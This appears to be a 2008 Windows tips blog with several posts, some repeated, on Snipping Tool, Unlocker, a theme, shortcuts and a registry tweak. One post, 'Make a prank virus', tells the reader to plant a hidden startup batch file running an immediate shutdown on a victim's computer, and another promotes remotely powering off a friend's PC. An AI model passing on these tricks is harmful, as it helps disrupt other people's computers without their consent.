The first one is called Snipping Tool. It takes all of the trouble out of the old Print Screen button. Gone are the days of copying - pasting - cropping to get a screen capture. Start Menu / All Programs / Accessories / Snipping Tool.
The second one is to do with the Quick Launch bar. You can use the Windows key + # to quickly open shorcuts located in the quick launch.
Monday, June 30, 2008
Unlocker v1.8.7
Ever had such an annoying message given by Windows?
It has many other flavors:
[*]Cannot delete file: Access is denied.
[*]There has been a sharing violation.
[*]The source or destination file may be in use.
[*]The file is in use by another program or user.
Unlocker is the solution!
1. Simply right click the folder or file and select Unlocker.
2. If the folder or file is locked, a window listing of lockers will appear
3. Simply select the lockers and click Unlock and you are done!
Of course I only compare here the unlocking features. Process Explorer and Take Control are very good programs featuring much more things than just unlocking folders. The goal of this list is not at all to pretend Unlocker is better but instead to provide a list of all other alternative programs in case you have some difficulties with Unlocker.
New update Unlocker V 1.8.7 -released - May/01/2008
[*]Fixed bug: Unlocker should not create event logs anymore.
[*]Fixed bug: Unlocker should not take minutes to close on certain configurations anymore.
[*]Fixed bug: Unlocker should not lock DLLs not used by Unlocker anymore.
[*]Fixed bug: Fixed potential driver bug.
[*]Fixed bug: Miscellaneous handle leaks.
[*]Improved behavior: Improved deleting/renaming/moving files such as C:\WINDOWS\system32\Macromed\Flash\Flash9e.ocx for example.
[*]Improved behavior: When right-clicking files or folders and selecting Unlocker, those are automatically deselected. It helps with movie files and removable drives.
[*]Improved UI: Icon looks correct now on Windows Vista.
[*]Promotional feature: Added fully optional shortcuts to eBay during the installation. Simply untick "eBay shortcuts" in the choose components page during install if you do not wish to have those.
Homepage and more info here
Download it from here
Cheers. :)
Power off your, and LAN computers. Prank + useful
Guys, isnt it awesome if you can switch off your friends computer sitting in front of your computer? try this small software:
Poweroff 3.0
Its awesome
It can power off, shutdown or reboot your pc, log you off, lock your workstation, go to standby or hibernation mode and even wake up another pc.
All actions can be done locally or on a remote pc (if they are running poweroff).
The action can be performed immediately or scheduled, by using a built-in scheduler.
All actions and options can be controlled by command line options. This way, you can easily integrate poweroff in your batch files.
It should run on Windows 95/98/Me/NT4.0/2000/XP, each with its own limitations. Beware that I haven’t tested the program on these operating systems, but in theory it should work on all of them….
Full source code is included!
Poweroff 3.0
Its awesome
Some info:
Poweroff is a small program that allows you to control the power state of your pc.
It can power off, shutdown or reboot your pc, log you off, lock your workstation, go to standby or hibernation mode and even wake up another pc.
All actions can be done locally or on a remote pc (if they are running poweroff).
The action can be performed immediately or scheduled, by using a built-in scheduler.
All actions and options can be controlled by command line options. This way, you can easily integrate poweroff in your batch files.
It should run on Windows 95/98/Me/NT4.0/2000/XP, each with its own limitations. Beware that I haven’t tested the program on these operating systems, but in theory it should work on all of them….
Full source code is included!
Awesome Xp Theme
Royale Noir is a theme that was developed by Microsoft while developing the Media Center theme. It was never made to the public for some unknown reasons. Royale Noir is nothing but a dark colored version of the original Royale theme.
Follow these steps to get the Royale Noir theme:
1. Get Royale Noir theme from here.
2. Use your file compression manager to extract the contents of this file in a folder.
3. Rename the folder to Royale Noir.
4. Copy this folder and paste it in: "c:\windows\resources\themes\"
5. Run the "luna.msstyles" by double clicking on it.
6. Select "Royale Noir" in the color scheme drop down menu.
Now, you have Royale Noir installed in your computer.
Follow these steps to get the Royale Noir theme:
1. Get Royale Noir theme from here.
2. Use your file compression manager to extract the contents of this file in a folder.
3. Rename the folder to Royale Noir.
4. Copy this folder and paste it in: "c:\windows\resources\themes\"
5. Run the "luna.msstyles" by double clicking on it.
6. Select "Royale Noir" in the color scheme drop down menu.
Now, you have Royale Noir installed in your computer.
Make a prank virus
Follow these instructions, awesome results, the victim will surely suffer. ;)
1)Open a notepad (You can do this by clicking Start->Run and typing notepad in the prompt box)
2)Type in whatever given in bracket (shutdown -s -t 00) (You can also make a popup box with a name if you increase the number after -t (seconds) to a longer time, all you have to do is after you write the number for time, type -c "message" yes, you need quotes.)
3)Save this file as anyname.bat (You can give any name of your choice for anyname like virus but extention.bat is must So save as "virus.bat").
4)Click Start->All programs here on this sub-menu right click on "start up" and select explore from options given. This opens "start up" folder now cut your anyname.bat( in example virus.bat) and paste it into this start up folder opened.# For more effectiveness right click on your anyname.bat file go to properties and select the option Hidden and press OK
5)Know that now you have planted a prank and annoying virus into the computer.
1)Open a notepad (You can do this by clicking Start->Run and typing notepad in the prompt box)
2)Type in whatever given in bracket (shutdown -s -t 00) (You can also make a popup box with a name if you increase the number after -t (seconds) to a longer time, all you have to do is after you write the number for time, type -c "message" yes, you need quotes.)
3)Save this file as anyname.bat (You can give any name of your choice for anyname like virus but extention.bat is must So save as "virus.bat").
4)Click Start->All programs here on this sub-menu right click on "start up" and select explore from options given. This opens "start up" folder now cut your anyname.bat( in example virus.bat) and paste it into this start up folder opened.# For more effectiveness right click on your anyname.bat file go to properties and select the option Hidden and press OK
5)Know that now you have planted a prank and annoying virus into the computer.
6)Understand that next time this computer is turned on, by default settings(if user has not changed) your batch file(anyname.bat) in start up folder is executed automatically which commands to shutdown computer in 0 seconds(i.e., immediately).
How to reverse it? just boot in safe mode and delete that startup file... ;)
Friday, June 27, 2008
Stand By shortcut
Here is a cool way to create a standby shortcut.
Right click on desktop then select new-> shortcut then paste the following:
%windir%\System32\rundll32.exe powrprof.dll,SetSuspendState
click next, you have the standby shortcut on desktop. I have tried only on xp.
Right click on desktop then select new-> shortcut then paste the following:
%windir%\System32\rundll32.exe powrprof.dll,SetSuspendState
click next, you have the standby shortcut on desktop. I have tried only on xp.
Automatically Close Programs at Shutdown
When you shut down Windows, if you have any programs running you'll get a message box warning you that a program is still running. You then have to close the program and tell XP again to shut down. It's a fairly pointless warning—better yet would be if XP automatically killed the programs without issuing the warning. That way, you wouldn't get error messages and wouldn't have to close each individual application before shutting down your computer.
To have XP automatically close programs at shutdown, run the Registry Editor and go to HKEY_CURRENT_USER\Control Panel\Desktop. Edit the AutoEndTasks key so that is has a value of 1. If the key doesn't exist, create it as a DWORD value and give it the value of 1. To disable it, either delete the key, or set the value to 0.
This trick will be very useful if you click shutdown and run away. It happened for of many times, I clicked shutdown and went away and when I came back my computer was still on, waiting to end the task.
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